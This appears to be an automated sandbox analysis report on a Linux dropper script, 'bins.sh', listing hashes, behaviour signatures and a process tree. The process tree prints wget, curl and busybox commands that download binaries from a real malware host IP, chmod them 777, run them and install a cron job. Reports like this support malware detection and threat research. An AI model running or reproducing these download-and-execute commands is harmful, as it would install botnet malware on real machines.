Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    09-11-2024 17:37

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    9bba4ee40fc1f939fff061054cf330df

  • SHA1

    f27d57c589ca7606dde15a500b6289240182abd1

  • SHA256

    8aeecbca04728d12f9a2c6fc99c020f6a2a452d8818725dbcada6bc8610c85dd

  • SHA512

    a58ef1fcfd72e938d3137363918dde300be1813e9ef4e9856f3bf7fb9f92590081a19bf35cd0e40952db1f607e63da93f211da11d533af8d05274007f423dee3

  • SSDEEP

    192:ogNwwwYwWw1wBwRVwpAiwwwYwWw1wBwIp:ogNwwwYwWw1wBwRVwaiwwwYwWw1wBww

Malware Config

Signatures

  • Contacts a large (2202) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 4 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1505
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1506
        • /usr/bin/wget
          wget http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:1507
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:1511
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Writes file to tmp directory
          PID:1512
        • /bin/chmod
          chmod 777 OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • File and Directory Permissions Modification
          PID:1513
        • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          ./OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1514
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1516
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1517
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1518
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1519
              • /bin/rm
                rm OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw
                2⤵
                  PID:1521
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0
                  2⤵
                  • Writes file to tmp directory
                  PID:1524

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/OfZeLov89tJZDz5lr6ihWtsp2Idr9Wowlw

                Filesize

                112KB

                MD5

                05d7857dcead18bbd86d2935f591873c

                SHA1

                34d18f41ef35f93d5364ce3e24d74730a4e91985

                SHA256

                2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                SHA512

                d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

              • /tmp/aFX7z8gPEa8M9Y5OTgK952S1YHYCS9J8s0

                Filesize

                12KB

                MD5

                6cae463fe7614c039bf68a1e612c159b

                SHA1

                4af7634363bcc026529fa68c8bebb399b268ba0d

                SHA256

                8b385d231f7a59f73af89fc544af19c802e2e932cdc4c8eca473ea313c765b00

                SHA512

                a7cc4c48aae0f9cb0d52f179d9638b440d68975d6758ddfc90bdfa04d58218110eb63cda835170cf3a9b0d36e0c8209da7ece6528ae15529288b155622109be1

              • /var/spool/cron/crontabs/tmp.MeOfSA

                Filesize

                210B

                MD5

                d64dad17ec25f656980958e750ef4f6b

                SHA1

                c15dd758761f96a75dc39f2da2c84e225cf00273

                SHA256

                540358ffe1a0161e8742ce4795b602c807de66501382dc9569874e34984443cd

                SHA512

                871ea19052ee74a4de0a656f68ea9f55af88f82f1d2bf104d5a8b4d05ff18c97adc26056e9c3d6525187ad8e83f79198d41d263d41aa96df831fd08d7e2d4bc5